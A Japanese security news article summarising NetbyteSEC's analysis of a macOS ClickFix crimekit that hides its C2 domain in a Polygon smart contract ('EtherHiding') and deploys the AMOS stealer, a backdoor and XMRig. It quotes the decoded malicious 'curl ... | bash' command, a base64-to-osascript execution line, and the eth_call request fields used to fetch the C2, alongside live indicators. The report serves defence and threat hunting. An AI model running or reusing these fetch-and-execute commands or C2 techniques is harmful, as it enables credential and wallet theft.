脅威動向 / THREAT / CLICKFIX
macOS向けClickFix犯罪キットが「EtherHiding」でC2を隠蔽 — Polygonスマートコントラクトからドメインを取得、AMOS・XMRigを展開
NetbyteSECは2026年8月20日、macOSユーザーを狙うClickFixキャンペーンの詳細な分析を公開した。攻撃者はPolygon上のスマートコントラクトにC2ドメインを格納し、EtherHiding手法で実行時に取得する。偽の認証画面でユーザー自身にターミナル操作をさせ、AMOSスティーラーや永続的なバックドア、XMRigマイナーを展開する手口を詳報している。
マレーシアのセキュリティ企業 NetbyteSEC は2026年8月20日(現地時間)、macOSユーザーを狙うClickFix(クリックフィックス)犯罪キットの詳細な分析を公開した。攻撃者はPolygonブロックチェーン上のスマートコントラクトにC2(指令統制サーバー)のドメインを格納し、感染時に読み出す**「EtherHiding」**手法を悪用している。NetbyteSECによると、現在のライブC2は 67sixcebeh.surf で、スマートコントラクト 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 に格納されている。
ClickFixは、偽のCAPTCHA画面でユーザー自身に悪意あるコマンドをコピー&ペーストさせるソーシャルエンジニアリング手法だ。ブラウザのダウンロードを介さず、ユーザー自身の手でコードを実行させるため、macOSのGatekeeperなどの保護機構を迂回する点が特徴となっている。
出典:NetbyteSEC「Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding」
感染チェーンの全体像
NetbyteSECが2026年7月に調査した事例では、攻撃はCloudflare Pages上の 25382ea9.trustkey-otcheckv1.pages.dev というドメインでホストされた偽の「TrustKey」認証ページから始まる。ページは一見すると通常の「私はロボットではありません」チェックボックスを表示するが、チェックを入れるとターミナルを開き、トークンを貼り付けて実行するよう指示するパネルが展開される。
被害者が指示に従ってクリップボードにコピーされた「トークン」をターミナルに貼り付けると、実際には攻撃者のコマンドが実行される。被害者はファイルをダウンロードした覚えがないまま、自身の手でペイロードの実行を許してしまう。
罠の詳細
NetbyteSECによると、攻撃ページは以下の点で被害者の警戒を下げている。
- 「個人データは収集しません — セッションはプライベートのままです」という文言で疑念を和らげる
- フッターのRay IDがCloudflareの正規のチャレンジページを模倣し、正当性を装う
- クリップボードへのコピーはチェックボックスをクリックした瞬間に背後で行われる
ステージ1:クリップボードのコマンドとCloudflare Worker
被害者のクリップボードに置かれるコマンドは、デコードすると以下の内容になる。
curl -s 'https://black-feather-9cfd.adrianroy-01.workers.dev' | bash
このコマンドはCloudflare Worker上の black-feather-9cfd.adrianroy-01.workers.dev にアクセスし、Workerが返したレスポンスをそのまま bash にパイプして実行する。ファイルとして保存せず、メモリ上で直接実行されるため、痕跡が残りにくい。
Workerが返すペイロードの先頭は以下のように osascript を呼び出す。
osascript -e "$(echo "<base64>" | base64 -d)"
osascript はmacOSに標準で含まれる /usr/bin/osascript という正規のコマンドで、AppleScriptやJavaScript for Automationを実行できる。NetbyteSECは、osascriptがbase64でデコードされた入力を実行する点が、macOSを標的としている明確な手がかりだと説明している。なおWindowsのClickFixでは、同等の正規インタプリタとして PowerShell が悪用されることが多い。
Workerの本体は base64の中にAppleScript、さらにその中にLaunchAgentのplistを抱える入れ子構造 となっている。NetbyteSECは 実行せずに各層をデコードしてファイルに展開 することで、永続化とローダーの実体を抽出した。
永続化と難読化
AppleScriptは LaunchAgentのplistを書き込み、読み込むことで永続化を実現する。plistの RunAtLoad と KeepAlive により、システム起動時や条件に応じた自動再起動が設定される。NetbyteSECによると、実行チェーンは大半がメモリ常駐だが、永続化はファイルシステム上の実際のplistとして残るため、検知やハンティングで valuable な痕跡になる。
ローダーは1文字ずつ文字列を組み立てる難読化を施し、数値のゴミデータを混在させることで静的検知を回避している。NetbyteSECは難読化を解除して本来の文字列を復元し、検証済みだと述べている。
ステージ2:EtherHiding — PolygonスマートコントラクトからC2を取得
ローダーの核心は、Polygonの公開RPCエンドポイントに問い合わせ、スマートコントラクトから現在のC2ホスト名を取得する処理にある。
EtherHiding は、C2アドレスを公開ブロックチェーン上のスマートコントラクトのストレージに格納し、実行時に読み出す手法だ。NetbyteSECによると、読み出しは eth_call という読み取り専用の呼び出しで行われるため、トランザクションは発生せず、ガス代もウォレットも不要で、チェーン上に読み取りの痕跡は残らない。
一方で、防御側にとってはサンプル内にブロックすべき固定のドメインやIPが含まれないため、静的なブロックが困難になる半面、同じリクエストを再現すれば防御側もC2を取得できるという両面性がある。
実際のリクエスト
NetbyteSECが再現したリクエストは以下の通りだ。
| フィールド | 値 | 意味 |
|---|---|---|
method |
eth_call |
読み取り専用のコントラクト呼び出し。トランザクションは記録されない |
params[0].to |
0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 |
C2を格納するEtherHidingコントラクトのアドレス |
params[0].data |
0x2686ecea |
C2取得関数の4バイトセレクタ(引数なし) |
params[1] |
latest |
最新のチェーン状態を参照 |
| RPCエンドポイント | polygon.drpc.org など |
Polygonの公開RPC。NetbyteSECによると、ローダーは複数の公開エンドポイントをループする |
コントラクトはC2ホスト名を16進数で返し、NetbyteSECのライブクエリでは長さ 0x0f(15バイト)、データ 363773697863656265682e73757266 を 67sixcebeh.surf とデコードしている。
NetbyteSECはPolygonscan上でも同じC2を確認できると説明している。オペレーターがC2を更新する際の Set Server URLトランザクションの _serverURL 引数が、エクスプローラーのABIデコードにより平文の 67sixcebeh.surf として表示されるためだ。
C2ローテーションの履歴がブロックチェーンに残る
C2の変更はすべてトランザクションとしてブロックチェーンに永続的に記録されるため、オペレーターの運用履歴を追跡できる。NetbyteSECは Blockscout API を用いてオペレーターウォレット 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3 の取引履歴を取得し、2026年5月1日から7月21日までに21回以上のC2ローテーションを確認している。
初期の rutube.ru、facebook.com、vk.com などはテストとみられ、2026年5月18日の xuiaxwx.com を最初の実運用C2として、gesck4m.pro、sj98xe4.xyz、smdh7.surf などへとローテーションが続く。2026年7月21日06:22(UTC)時点で 67sixcebeh.surf が最新のライブC2となっている。NetbyteSECは、再利用されたドメイン(sj98xe4.xyz、apdhlhs3.xyz)や短期間での再設定も確認していると報告している。
ステージ3〜5:永続バックドアとペイロード
C2の取得に成功したローダーは、レスポンスをそのまま osascript にパイプして実行する。以降の段階で、以下のペイロードが展開される。
- bmodule — 永続的なバックドアエージェント:LaunchAgentとして常駐し、C2との通信を維持する
- smodule — 完全版AMOSスティーラー:macOS向けの情報窃取マルウェア Atomic macOS Stealer(AMOS) のフル機能版。暗号資産ウォレットや認証情報を窃取する
- lmodule — 軽量版AMOSスティーラー:AMOSの軽量版
- ledger + xmr — XMRig暗号資産マイナー:XMRigを用いた暗号資産のマイニング
NetbyteSECは、これらのペイロードが最終的に窃取したデータをC2へ外部送信(Exfiltration)すると説明している。
なぜ防御側が注目すべきか
NetbyteSECは、通常のMacが突然PolygonのブロックチェーンへRPCリクエストを送ること自体が異常な挙動であり、検知の手がかりになると指摘している。公開RPCエンドポイント(polygon.drpc.org、polygon.publicnode.com など)は正規の暗号資産アプリも利用する正当なインフラだが、一般的なmacOS端末がこれらへPOSTする通信は、EtherHidingの兆候として監視可能だ。
同社はMITRE ATT&CKへのマッピングとして、T1071.001 Web Protocols などを挙げている。
NetbyteSECが推奨する対策
NetbyteSECは、論文中で以下の点を推奨している。
- ClickFixの手口を周知し、ユーザーにターミナルへの貼り付けや
curl | bashパイプラインの実行をさせないよう教育すること - LaunchAgentのplist作成や osascript による base64 デコード実行、Polygon RPCへの eth_call を監視対象とすること
- ブロックチェーンに残るC2ローテーション履歴を活用し、過去・現在のC2ドメインをブロックリストやハンティングに活用すること
出典
- NetbyteSEC「Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding」https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html
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